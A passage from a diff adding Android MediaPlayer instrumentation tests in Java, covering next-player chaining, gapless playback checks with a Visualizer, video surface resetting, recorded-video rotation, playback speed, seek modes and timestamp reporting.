+        try (AssetFileDescriptor afd = getAssetFileDescriptorFor("test1m1s.mp3")) {
+            player.reset();
+            player.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+            player.prepare();
+            player.seekTo(56000);
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testSetNextMediaPlayerWithReset() throws Exception {
+
+        initMediaPlayer(mMediaPlayer);
+
+        try {
+            initMediaPlayer(mMediaPlayer2);
+            mMediaPlayer2.reset();
+            mMediaPlayer.setNextMediaPlayer(mMediaPlayer2);
+            fail("setNextMediaPlayer() succeeded with unprepared player");
+        } catch (RuntimeException e) {
+            // expected
+        } finally {
+            mMediaPlayer.reset();
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testSetNextMediaPlayerWithRelease() throws Exception {
+
+        initMediaPlayer(mMediaPlayer);
+
+        try {
+            initMediaPlayer(mMediaPlayer2);
+            mMediaPlayer2.release();
+            mMediaPlayer.setNextMediaPlayer(mMediaPlayer2);
+            fail("setNextMediaPlayer() succeeded with unprepared player");
+        } catch (RuntimeException e) {
+            // expected
+        } finally {
+            mMediaPlayer.reset();
+        }
+    }
+
+    @Test
+    public void testSetNextMediaPlayer() throws Exception {
+        initMediaPlayer(mMediaPlayer);
+
+        final Monitor mTestCompleted = new Monitor();
+
+        Thread timer = new Thread(() -> {
+            long startTime = SystemClock.elapsedRealtime();
+            while(true) {
+                SystemClock.sleep(SLEEP_TIME);
+                if (mTestCompleted.isSignalled()) {
+                    // done
+                    return;
+                }
+                long now = SystemClock.elapsedRealtime();
+                if ((now - startTime) > 45000) {
+                    // We've been running for 45 seconds and still aren't done, so we're stuck
+                    // somewhere. Signal ourselves to dump the thread stacks.
+                    android.os.Process.sendSignal(android.os.Process.myPid(), 3);
+                    SystemClock.sleep(2000);
+                    fail("Test is stuck, see ANR stack trace for more info. You may need to" +
+                            " create /data/anr first");
+                    return;
+                }
+            }
+        });
+
+        timer.start();
+
+        try {
+            for (int i = 0; i < 3; i++) {
+
+                initMediaPlayer(mMediaPlayer2);
+                mOnCompletionCalled.reset();
+                mOnInfoCalled.reset();
+                mMediaPlayer.setOnCompletionListener(mp -> {
+                    assertEquals(mMediaPlayer, mp);
+                    mOnCompletionCalled.signal();
+                });
+                mMediaPlayer2.setOnInfoListener((mp, what, extra) -> {
+                    assertEquals(mMediaPlayer2, mp);
+                    if (what == MediaPlayer.MEDIA_INFO_STARTED_AS_NEXT) {
+                        mOnInfoCalled.signal();
+                    }
+                    return false;
+                });
+
+                mMediaPlayer.setNextMediaPlayer(mMediaPlayer2);
+                mMediaPlayer.start();
+                assertTrue(mMediaPlayer.isPlaying());
+                assertFalse(mOnCompletionCalled.isSignalled());
+                assertFalse(mMediaPlayer2.isPlaying());
+                assertFalse(mOnInfoCalled.isSignalled());
+                while(mMediaPlayer.isPlaying()) {
+                    Thread.sleep(SLEEP_TIME);
+                }
+                // wait a little longer in case the callbacks haven't quite made it through yet
+                Thread.sleep(100);
+                assertTrue(mMediaPlayer2.isPlaying());
+                assertTrue(mOnCompletionCalled.isSignalled());
+                assertTrue(mOnInfoCalled.isSignalled());
+
+                // At this point the 1st player is done, and the 2nd one is playing.
+                // Now swap them, and go through the loop again.
+                MediaPlayer tmp = mMediaPlayer;
+                mMediaPlayer = mMediaPlayer2;
+                mMediaPlayer2 = tmp;
+            }
+
+            // Now test that setNextMediaPlayer(null) works. 1 is still playing, 2 is done
+            mOnCompletionCalled.reset();
+            mOnInfoCalled.reset();
+            initMediaPlayer(mMediaPlayer2);
+            mMediaPlayer.setNextMediaPlayer(mMediaPlayer2);
+
+            mMediaPlayer.setOnCompletionListener(mp -> {
+                assertEquals(mMediaPlayer, mp);
+                mOnCompletionCalled.signal();
+            });
+            mMediaPlayer2.setOnInfoListener((mp, what, extra) -> {
+                assertEquals(mMediaPlayer2, mp);
+                if (what == MediaPlayer.MEDIA_INFO_STARTED_AS_NEXT) {
+                    mOnInfoCalled.signal();
+                }
+                return false;
+            });
+            assertTrue(mMediaPlayer.isPlaying());
+            assertFalse(mOnCompletionCalled.isSignalled());
+            assertFalse(mMediaPlayer2.isPlaying());
+            assertFalse(mOnInfoCalled.isSignalled());
+            Thread.sleep(SLEEP_TIME);
+            mMediaPlayer.setNextMediaPlayer(null);
+            while(mMediaPlayer.isPlaying()) {
+                Thread.sleep(SLEEP_TIME);
+            }
+            // wait a little longer in case the callbacks haven't quite made it through yet
+            Thread.sleep(100);
+            assertFalse(mMediaPlayer.isPlaying());
+            assertFalse(mMediaPlayer2.isPlaying());
+            assertTrue(mOnCompletionCalled.isSignalled());
+            assertFalse(mOnInfoCalled.isSignalled());
+
+        } finally {
+            mMediaPlayer.reset();
+            mMediaPlayer2.reset();
+        }
+        mTestCompleted.signal();
+
+    }
+
+    // The following tests are all a bit flaky, which is why they're retried a
+    // few times in a loop.
+
+    // This test uses one mp3 that is silent but has a strong positive DC offset,
+    // and a second mp3 that is also silent but has a strong negative DC offset.
+    // If the two are played back overlapped, they will cancel each other out,
+    // and result in zeroes being detected. If there is a gap in playback, that
+    // will also result in zeroes being detected.
+    // Note that this test does NOT guarantee that the correct data is played
+    @Test
+    public void testGapless1() throws Exception {
+        flakyTestWrapper("monodcpos.mp3", "monodcneg.mp3");
+    }
+
+    // This test is similar, but uses two identical m4a files that have some noise
+    // with a strong positive DC offset. This is used to detect if there is
+    // a gap in playback
+    // Note that this test does NOT guarantee that the correct data is played
+    @Test
+    public void testGapless2() throws Exception {
+        flakyTestWrapper("stereonoisedcpos.m4a", "stereonoisedcpos.m4a");
+    }
+
+    // same as above, but with a mono file
+    @Test
+    public void testGapless3() throws Exception {
+        flakyTestWrapper("mononoisedcpos.m4a", "mononoisedcpos.m4a");
+    }
+
+    private void flakyTestWrapper(final String res1, final String res2) throws Exception {
+        boolean success = false;
+        // test usually succeeds within a few tries, but occasionally may fail
+        // many times in a row, so be aggressive and try up to 20 times
+        for (int i = 0; i < 20 && !success; i++) {
+            try {
+                testGapless(res1, res2);
+                success = true;
+            } catch (Throwable t) {
+                SystemClock.sleep(1000);
+            }
+        }
+        // Try one more time. If this succeeds, we'll consider the test a success,
+        // otherwise the exception gets thrown
+        if (!success) {
+            testGapless(res1, res2);
+        }
+    }
+
+    private void testGapless(final String res1, final String res2) throws Exception {
+        MediaPlayer mp1 = null;
+        MediaPlayer mp2 = null;
+        AudioEffect vc = null;
+        Visualizer vis = null;
+        AudioManager am = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        int oldRingerMode = Integer.MIN_VALUE;
+        int oldVolume = Integer.MIN_VALUE;
+        try {
+            if (am.getRingerMode() != AudioManager.RINGER_MODE_NORMAL) {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), true /* on */);
+            }
+
+            mp1 = new MediaPlayer();
+            mp1.setAudioStreamType(AudioManager.STREAM_MUSIC);
+
+            AssetFileDescriptor afd = getAssetFileDescriptorFor(res1);
+            mp1.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+            afd.close();
+            mp1.prepare();
+
+            int session = mp1.getAudioSessionId();
+
+            mp2 = new MediaPlayer();
+            mp2.setAudioSessionId(session);
+            mp2.setAudioStreamType(AudioManager.STREAM_MUSIC);
+
+            afd = getAssetFileDescriptorFor(res2);
+            mp2.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+            afd.close();
+            mp2.prepare();
+
+            // creating a volume controller on output mix ensures that ro.audio.silent mutes
+            // audio after the effects and not before
+            vc = new AudioEffect(
+                            AudioEffect.EFFECT_TYPE_NULL,
+                            UUID.fromString("119341a0-8469-11df-81f9-0002a5d5c51b"),
+                            0,
+                            session);
+            vc.setEnabled(true);
+            int captureintervalms = mp1.getDuration() + mp2.getDuration() - 2000;
+            int size = 256;
+            int[] range = Visualizer.getCaptureSizeRange();
+            if (size < range[0]) {
+                size = range[0];
+            }
+            if (size > range[1]) {
+                size = range[1];
+            }
+            byte[] vizdata = new byte[size];
+
+            vis = new Visualizer(session);
+
+            oldRingerMode = am.getRingerMode();
+            // make sure we aren't in silent mode
+            if (am.getRingerMode() != AudioManager.RINGER_MODE_NORMAL) {
+                am.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+            }
+            oldVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
+            am.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+
+            assertEquals("setCaptureSize failed",
+                    Visualizer.SUCCESS, vis.setCaptureSize(vizdata.length));
+            assertEquals("setEnabled failed", Visualizer.SUCCESS, vis.setEnabled(true));
+
+            mp1.setNextMediaPlayer(mp2);
+            mp1.start();
+            assertTrue(mp1.isPlaying());
+            assertFalse(mp2.isPlaying());
+            // allow playback to get started
+            Thread.sleep(SLEEP_TIME);
+            long start = SystemClock.elapsedRealtime();
+            // there should be no consecutive zeroes (-128) in the capture buffer
+            // when going to the next file. If silence is detected right away, then
+            // the volume is probably turned all the way down (visualizer data
+            // is captured after volume adjustment).
+            boolean first = true;
+            while((SystemClock.elapsedRealtime() - start) < captureintervalms) {
+                assertEquals(Visualizer.SUCCESS, vis.getWaveForm(vizdata));
+                for (int i = 0; i < vizdata.length - 1; i++) {
+                    if (vizdata[i] == -128 && vizdata[i + 1] == -128) {
+                        if (first) {
+                            fail("silence detected, please increase volume and rerun test");
+                        } else {
+                            fail("gap or overlap detected at t=" +
+                                    (SLEEP_TIME + SystemClock.elapsedRealtime() - start) +
+                                    ", offset " + i);
+                        }
+                        break;
+                    }
+                }
+                first = false;
+            }
+        } finally {
+            if (mp1 != null) {
+                mp1.release();
+            }
+            if (mp2 != null) {
+                mp2.release();
+            }
+            if (vis != null) {
+                vis.release();
+            }
+            if (vc != null) {
+                vc.release();
+            }
+            if (oldRingerMode != Integer.MIN_VALUE) {
+                am.setRingerMode(oldRingerMode);
+            }
+            if (oldVolume != Integer.MIN_VALUE) {
+                am.setStreamVolume(AudioManager.STREAM_MUSIC, oldVolume, 0);
+            }
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), false  /* on == false */);
+        }
+    }
+
+    /**
+     * Test for reseting a surface during video playback
+     * After reseting, the video should continue playing
+     * from the time setDisplay() was called
+     */
+    @Test
+    public void testVideoSurfaceResetting() throws Exception {
+        final int tolerance = 150;
+        final int audioLatencyTolerance = 1000;  /* covers audio path latency variability */
+        final int seekPos = 4760;  // This is the I-frame position
+
+        final CountDownLatch seekDone = new CountDownLatch(1);
+
+        mMediaPlayer.setOnSeekCompleteListener(mp -> seekDone.countDown());
+
+        if (!checkLoadResource("testvideo.3gp")) {
+            return; // skip;
+        }
+        playLoadedVideo(352, 288, -1);
+
+        Thread.sleep(SLEEP_TIME);
+
+        int posBefore = mMediaPlayer.getCurrentPosition();
+        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder2());
+        int posAfter = mMediaPlayer.getCurrentPosition();
+
+        /* temporarily disable timestamp checking because MediaPlayer now seeks to I-frame
+         * position, instead of requested position. setDisplay invovles a seek operation
+         * internally.
+         */
+        // TODO: uncomment out line below when MediaPlayer can seek to requested position.
+        // assertEquals(posAfter, posBefore, tolerance);
+        assertTrue(mMediaPlayer.isPlaying());
+
+        Thread.sleep(SLEEP_TIME);
+
+        mMediaPlayer.seekTo(seekPos);
+        seekDone.await();
+        posAfter = mMediaPlayer.getCurrentPosition();
+        assertEquals(seekPos, posAfter, tolerance + audioLatencyTolerance);
+
+        Thread.sleep(SLEEP_TIME / 2);
+        posBefore = mMediaPlayer.getCurrentPosition();
+        mMediaPlayer.setDisplay(null);
+        posAfter = mMediaPlayer.getCurrentPosition();
+        // TODO: uncomment out line below when MediaPlayer can seek to requested position.
+        // assertEquals(posAfter, posBefore, tolerance);
+        assertTrue(mMediaPlayer.isPlaying());
+
+        Thread.sleep(SLEEP_TIME);
+
+        posBefore = mMediaPlayer.getCurrentPosition();
+        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+        posAfter = mMediaPlayer.getCurrentPosition();
+
+        // TODO: uncomment out line below when MediaPlayer can seek to requested position.
+        // assertEquals(posAfter, posBefore, tolerance);
+        assertTrue(mMediaPlayer.isPlaying());
+
+        Thread.sleep(SLEEP_TIME);
+    }
+
+    @Test
+    public void testRecordedVideoPlayback0() throws Exception {
+        testRecordedVideoPlaybackWithAngle(0);
+    }
+
+    @Test
+    public void testRecordedVideoPlayback90() throws Exception {
+        testRecordedVideoPlaybackWithAngle(90);
+    }
+
+    @Test
+    public void testRecordedVideoPlayback180() throws Exception {
+        testRecordedVideoPlaybackWithAngle(180);
+    }
+
+    @Test
+    public void testRecordedVideoPlayback270() throws Exception {
+        testRecordedVideoPlaybackWithAngle(270);
+    }
+
+    private boolean hasCamera() {
+        return getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA);
+    }
+
+    private void testRecordedVideoPlaybackWithAngle(int angle) throws Exception {
+        int width = RECORDED_VIDEO_WIDTH;
+        int height = RECORDED_VIDEO_HEIGHT;
+        final String file = RECORDED_FILE;
+        final long durationMs = RECORDED_DURATION_MS;
+
+        if (!hasCamera()) {
+            return;
+        }
+
+        boolean isSupported = false;
+        Camera camera = Camera.open(0);
+        Camera.Parameters parameters = camera.getParameters();
+        List<Camera.Size> videoSizes = parameters.getSupportedVideoSizes();
+        // getSupportedVideoSizes returns null when separate video/preview size
+        // is not supported.
+        if (videoSizes == null) {
+            // If we have CamcorderProfile use it instead of Preview size.
+            if (CamcorderProfile.hasProfile(0, CamcorderProfile.QUALITY_LOW)) {
+                CamcorderProfile profile = CamcorderProfile.get(0, CamcorderProfile.QUALITY_LOW);
+                videoSizes = new ArrayList<>();
+                videoSizes.add(camera.new Size(profile.videoFrameWidth, profile.videoFrameHeight));
+            } else {
+                videoSizes = parameters.getSupportedPreviewSizes();
+            }
+        }
+        for (Camera.Size size : videoSizes)
+        {
+            if (size.width == width && size.height == height) {
+                isSupported = true;
+                break;
+            }
+        }
+        camera.release();
+        if (!isSupported) {
+            width = videoSizes.get(0).width;
+            height = videoSizes.get(0).height;
+        }
+        checkOrientation(angle);
+        recordVideo(width, height, angle, file, durationMs);
+        checkDisplayedVideoSize(width, height, angle, file);
+        checkVideoRotationAngle(angle, file);
+    }
+
+    private void checkOrientation(int angle) throws Exception {
+        assertTrue(angle >= 0);
+        assertTrue(angle < 360);
+        assertEquals(0, (angle % 90));
+    }
+
+    private void recordVideo(
+            int w, int h, int angle, String file, long durationMs) throws Exception {
+
+        MediaRecorder recorder = new MediaRecorder();
+        recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        recorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        recorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
+        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
+        recorder.setOutputFile(file);
+        recorder.setOrientationHint(angle);
+        recorder.setVideoSize(w, h);
+        recorder.setPreviewDisplay(getActivity().getSurfaceHolder2().getSurface());
+        recorder.prepare();
+        recorder.start();
+        Thread.sleep(durationMs);
+        recorder.stop();
+        recorder.release();
+    }
+
+    private void checkDisplayedVideoSize(
+            int w, int h, int angle, String file) throws Exception {
+
+        int displayWidth  = w;
+        int displayHeight = h;
+        if ((angle % 180) != 0) {
+            displayWidth  = h;
+            displayHeight = w;
+        }
+        playVideoTest(file, displayWidth, displayHeight);
+    }
+
+    private void checkVideoRotationAngle(int angle, String file) {
+        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+        retriever.setDataSource(file);
+        String rotation = retriever.extractMetadata(
+                MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+        retriever.release();
+        assertNotNull(rotation);
+        assertEquals(Integer.parseInt(rotation), angle);
+    }
+
+    // setPlaybackParams() with non-zero speed should start playback.
+    @Test
+    public void testSetPlaybackParamsPositiveSpeed() throws Exception {
+        if (!checkLoadResource(
+                "video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz.mp4")) {
+            return; // skip
+        }
+
+        mMediaPlayer.setOnSeekCompleteListener(mp -> mOnSeekCompleteCalled.signal());
+        mOnCompletionCalled.reset();
+        mMediaPlayer.setOnCompletionListener(mp -> mOnCompletionCalled.signal());
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+        mMediaPlayer.prepare();
+
+        mOnSeekCompleteCalled.reset();
+        mMediaPlayer.seekTo(0);
+        mOnSeekCompleteCalled.waitForSignal();
+
+        final float playbackRate = 1.0f;
+
+        int playTime = 2000;  // The testing clip is about 10 second long.
+        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+        assertTrue("MediaPlayer should be playing", mMediaPlayer.isPlaying());
+        Thread.sleep(playTime);
+        assertTrue("MediaPlayer should still be playing",
+                mMediaPlayer.getCurrentPosition() > 0);
+
+        int duration = mMediaPlayer.getDuration();
+        mOnSeekCompleteCalled.reset();
+        mMediaPlayer.seekTo(duration - 1000);
+        mOnSeekCompleteCalled.waitForSignal();
+
+        mOnCompletionCalled.waitForSignal();
+        assertFalse("MediaPlayer should not be playing", mMediaPlayer.isPlaying());
+        int eosPosition = mMediaPlayer.getCurrentPosition();
+
+        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+        assertTrue("MediaPlayer should be playing after EOS", mMediaPlayer.isPlaying());
+        Thread.sleep(playTime);
+        int position = mMediaPlayer.getCurrentPosition();
+        assertTrue("MediaPlayer should still be playing after EOS",
+                position > 0 && position < eosPosition);
+
+        mMediaPlayer.stop();
+    }
+
+    // setPlaybackParams() with zero speed should pause playback.
+    @Test
+    public void testSetPlaybackParamsZeroSpeed() throws Exception {
+        if (!checkLoadResource(
+                "video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz.mp4")) {
+            return; // skip
+        }
+
+        mMediaPlayer.setOnSeekCompleteListener(mp -> mOnSeekCompleteCalled.signal());
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+        mMediaPlayer.prepare();
+
+        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(0.0f));
+        assertFalse("MediaPlayer should not be playing", mMediaPlayer.isPlaying());
+
+        int playTime = 2000;  // The testing clip is about 10 second long.
+        mOnSeekCompleteCalled.reset();
+        mMediaPlayer.seekTo(0);
+        mOnSeekCompleteCalled.waitForSignal();
+        Thread.sleep(playTime);
+        assertFalse("MediaPlayer should not be playing", mMediaPlayer.isPlaying());
+        assertEquals("MediaPlayer position should be 0", 0, mMediaPlayer.getCurrentPosition());
+
+        mMediaPlayer.start();
+        Thread.sleep(playTime);
+        assertTrue("MediaPlayer should be playing", mMediaPlayer.isPlaying());
+        assertTrue("MediaPlayer position should be > 0", mMediaPlayer.getCurrentPosition() > 0);
+
+        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(0.0f));
+        assertFalse("MediaPlayer should not be playing", mMediaPlayer.isPlaying());
+        Thread.sleep(1000);
+        int position = mMediaPlayer.getCurrentPosition();
+        Thread.sleep(playTime);
+        assertEquals("MediaPlayer should be paused", mMediaPlayer.getCurrentPosition(), position);
+
+        mMediaPlayer.stop();
+    }
+
+    @Test
+    public void testPlaybackRate() throws Exception {
+        final int toleranceMs = 1000;
+        if (!checkLoadResource(
+                "video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz.mp4")) {
+            return; // skip
+        }
+
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mMediaPlayer.prepare();
+        SyncParams sync = new SyncParams().allowDefaults();
+        mMediaPlayer.setSyncParams(sync);
+        sync = mMediaPlayer.getSyncParams();
+
+        float[] rates = { 0.25f, 0.5f, 1.0f, 2.0f };
+        for (float playbackRate : rates) {
+            mMediaPlayer.seekTo(0);
+            Thread.sleep(1000);
+            int playTime = 4000;  // The testing clip is about 10 second long.
+            mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+            mMediaPlayer.start();
+            Thread.sleep(playTime);
+            PlaybackParams pbp = mMediaPlayer.getPlaybackParams();
+            assertEquals(
+                    playbackRate, pbp.getSpeed(),
+                    FLOAT_TOLERANCE + playbackRate * sync.getTolerance());
+            assertTrue("MediaPlayer should still be playing", mMediaPlayer.isPlaying());
+
+            int playedMediaDurationMs = mMediaPlayer.getCurrentPosition();
+            int diff = Math.abs((int)(playedMediaDurationMs / playbackRate) - playTime);
+            if (diff > toleranceMs) {
+                fail("Media player had error in playback rate " + playbackRate
+                     + ", play time is " + playTime + " vs expected " + playedMediaDurationMs);
+            }
+            mMediaPlayer.pause();
+            pbp = mMediaPlayer.getPlaybackParams();
+            assertEquals(0.f, pbp.getSpeed(), FLOAT_TOLERANCE);
+        }
+        mMediaPlayer.stop();
+    }
+
+    @Presubmit
+    @Test
+    public void testSeekModes() throws Exception {
+        // This clip has 2 I frames at 66687us and 4299687us.
+        if (!checkLoadResource(
+                "bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz.mp4")) {
+            return; // skip
+        }
+
+        mMediaPlayer.setOnSeekCompleteListener(mp -> mOnSeekCompleteCalled.signal());
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mMediaPlayer.prepare();
+        mOnSeekCompleteCalled.reset();
+        mMediaPlayer.start();
+
+        final int seekPosMs = 3000;
+        final int timeToleranceMs = 100;
+        final int syncTime1Ms = 67;
+        final int syncTime2Ms = 4300;
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to previous sync or next sync.
+        int cp = runSeekMode(MediaPlayer.SEEK_CLOSEST, seekPosMs);
+        assertTrue("MediaPlayer did not seek to closest position",
+                cp > seekPosMs && cp < syncTime2Ms);
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to closest position or next sync.
+        cp = runSeekMode(MediaPlayer.SEEK_PREVIOUS_SYNC, seekPosMs);
+        assertTrue("MediaPlayer did not seek to preivous sync position",
+                cp < seekPosMs - timeToleranceMs);
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to closest position or previous sync.
+        cp = runSeekMode(MediaPlayer.SEEK_NEXT_SYNC, seekPosMs);
+        assertTrue("MediaPlayer did not seek to next sync position",
+                cp > syncTime2Ms - timeToleranceMs);
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to closest position or previous sync.
+        cp = runSeekMode(MediaPlayer.SEEK_CLOSEST_SYNC, seekPosMs);
+        assertTrue("MediaPlayer did not seek to closest sync position",
+                cp > syncTime2Ms - timeToleranceMs);
+
+        mMediaPlayer.stop();
+    }
+
+    private int runSeekMode(int seekMode, int seekPosMs) throws Exception {
+        final int sleepIntervalMs = 100;
+        int timeRemainedMs = 10000;  // total time for testing
+        final int timeToleranceMs = 100;
+
+        mMediaPlayer.seekTo(seekPosMs, seekMode);
+        mOnSeekCompleteCalled.waitForSignal();
+        mOnSeekCompleteCalled.reset();
+        int cp = -seekPosMs;
+        while (timeRemainedMs > 0) {
+            cp = mMediaPlayer.getCurrentPosition();
+            // Wait till MediaPlayer starts rendering since MediaPlayer caches
+            // seek position as current position.
+            if (cp < seekPosMs - timeToleranceMs || cp > seekPosMs + timeToleranceMs) {
+                break;
+            }
+            timeRemainedMs -= sleepIntervalMs;
+            Thread.sleep(sleepIntervalMs);
+        }
+        assertTrue("MediaPlayer did not finish seeking in time for mode " + seekMode,
+                timeRemainedMs > 0);
+        return cp;
+    }
+
+    @Test
+    public void testGetTimestamp() throws Exception {
+        final int toleranceUs = 100000;
+        final float playbackRate = 1.0f;
+        if (!checkLoadResource(
+                "video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz.mp4")) {
+            return; // skip
+        }
+
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mMediaPlayer.prepare();
+        mMediaPlayer.start();
+        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+        Thread.sleep(SLEEP_TIME);  // let player get into stable state.
+        long nt1 = System.nanoTime();
+        MediaTimestamp ts1 = mMediaPlayer.getTimestamp();
+        long nt2 = System.nanoTime();
+        assertNotNull("Media player should return a valid time stamp", ts1);
+        assertEquals("MediaPlayer had error in clockRate " + ts1.getMediaClockRate(),
+                playbackRate, ts1.getMediaClockRate(), 0.001f);
+        assertTrue("The nanoTime of Media timestamp should be taken when getTimestamp is called.",
+                nt1 <= ts1.getAnchorSystemNanoTime() && ts1.getAnchorSystemNanoTime() <= nt2);
+
+        mMediaPlayer.pause();
+        ts1 = mMediaPlayer.getTimestamp();
+        assertNotNull("Media player should return a valid time stamp", ts1);
+        assertEquals("Media player should have play rate of 0.0f when paused", 0.0f,
+                ts1.getMediaClockRate());
+
+        mMediaPlayer.seekTo(0);
+        mMediaPlayer.start();
+        Thread.sleep(SLEEP_TIME);  // let player get into stable state.
+        int playTime = 4000;  // The testing clip is about 10 second long.
+        ts1 = mMediaPlayer.getTimestamp();
+        assertNotNull("Media player should return a valid time stamp", ts1);
+        Thread.sleep(playTime);
+        MediaTimestamp ts2 = mMediaPlayer.getTimestamp();
+        assertNotNull("Media player should return a valid time stamp", ts2);
+        assertEquals("The clockRate should not be changed.", ts1.getMediaClockRate(),
+                ts2.getMediaClockRate());
+        assertEquals("MediaPlayer had error in timestamp.",
+                ts1.getAnchorMediaTimeUs() + (long)(playTime * ts1.getMediaClockRate() * 1000),
+                ts2.getAnchorMediaTimeUs(), toleranceUs);
+
+        mMediaPlayer.stop();
+    }
+
+    @Test
+    public void testMediaTimeDiscontinuity() throws Exception {
+        if (!checkLoadResource(
+                "bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz.mp4")) {
+            return; // skip
+        }
+
+        mMediaPlayer.setOnSeekCompleteListener(mp -> mOnSeekCompleteCalled.signal());
+        final BlockingDeque<MediaTimestamp> timestamps = new LinkedBlockingDeque<>();
+        mMediaPlayer.setOnMediaTimeDiscontinuityListener(
+                (mp, timestamp) -> {
+                    mOnMediaTimeDiscontinuityCalled.signal();
+                    timestamps.add(timestamp);
+                });
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mMediaPlayer.prepare();
+
+        // Timestamp needs to be reported when playback starts.
+        mOnMediaTimeDiscontinuityCalled.reset();
+        mMediaPlayer.start();
+        do {
+            assertTrue(mOnMediaTimeDiscontinuityCalled.waitForSignal(1000));
+        } while (timestamps.getLast().getMediaClockRate() != 1.0f);
+
+        // Timestamp needs to be reported when seeking is done.
+        mOnSeekCompleteCalled.reset();
+        mOnMediaTimeDiscontinuityCalled.reset();
+        mMediaPlayer.seekTo(3000);
+        mOnSeekCompleteCalled.waitForSignal();
+        do {
+            assertTrue(mOnMediaTimeDiscontinuityCalled.waitForSignal(1000));
+        } while (timestamps.getLast().getMediaClockRate() != 1.0f);
+
+        // Timestamp needs to be updated when playback rate changes.
+        mOnMediaTimeDiscontinuityCalled.reset();
+        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(0.5f));
+        do {
+            assertTrue(mOnMediaTimeDiscontinuityCalled.waitForSignal(1000));
+        } while (timestamps.getLast().getMediaClockRate() != 0.5f);
+
+        // Timestamp needs to be updated when player is paused.
+        mOnMediaTimeDiscontinuityCalled.reset();
+        mMediaPlayer.pause();
+        do {
+            assertTrue(mOnMediaTimeDiscontinuityCalled.waitForSignal(1000));
+        } while (timestamps.getLast().getMediaClockRate() != 0.0f);
+
+        // Check if there is no more notification after clearing listener.
+        mMediaPlayer.clearOnMediaTimeDiscontinuityListener();
+        mMediaPlayer.start();
+        mOnMediaTimeDiscontinuityCalled.reset();
+        Thread.sleep(1000);
+        assertEquals(0, mOnMediaTimeDiscontinuityCalled.getNumSignal());
+
+        mMediaPlayer.reset();
+    }
+
+    @Test
+    public void testLocalVideo_MKV_H265_1280x720_500kbps_25fps_AAC_Stereo_128kbps_44100Hz()
+            throws Exception {
+        playLoadedVideoTest("video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv",
+                1280, 720);
+    }
+    @Test
+    public void testLocalVideo_MP4_H264_480x360_500kbps_25fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        playLoadedVideoTest("video_480x360_mp4_h264_500kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                480, 360);
+    }
+
+    @Test
+    public void testLocalVideo_MP4_H264_480x360_500kbps_30fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        playLoadedVideoTest("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
+                480, 360);
+    }
+
+    @Test
+    public void testLocalVideo_MP4_H264_480x360_1000kbps_25fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        playLoadedVideoTest("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                480, 360);
+    }
+
+    @Test
+    public void testLocalVideo_MP4_H264_480x360_1000kbps_30fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        playLoadedVideoTest("video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
+                480, 360);
+    }
+
+    @Test
+    public void testLocalVideo_MP4_H264_480x360_1350kbps_25fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
+        playLoadedVideoTest("video_480x360_mp4_h264_1350kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                480, 360);
+    }
+
+    @Test
+    public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_128kbps_44110Hz()
+            throws Exception {
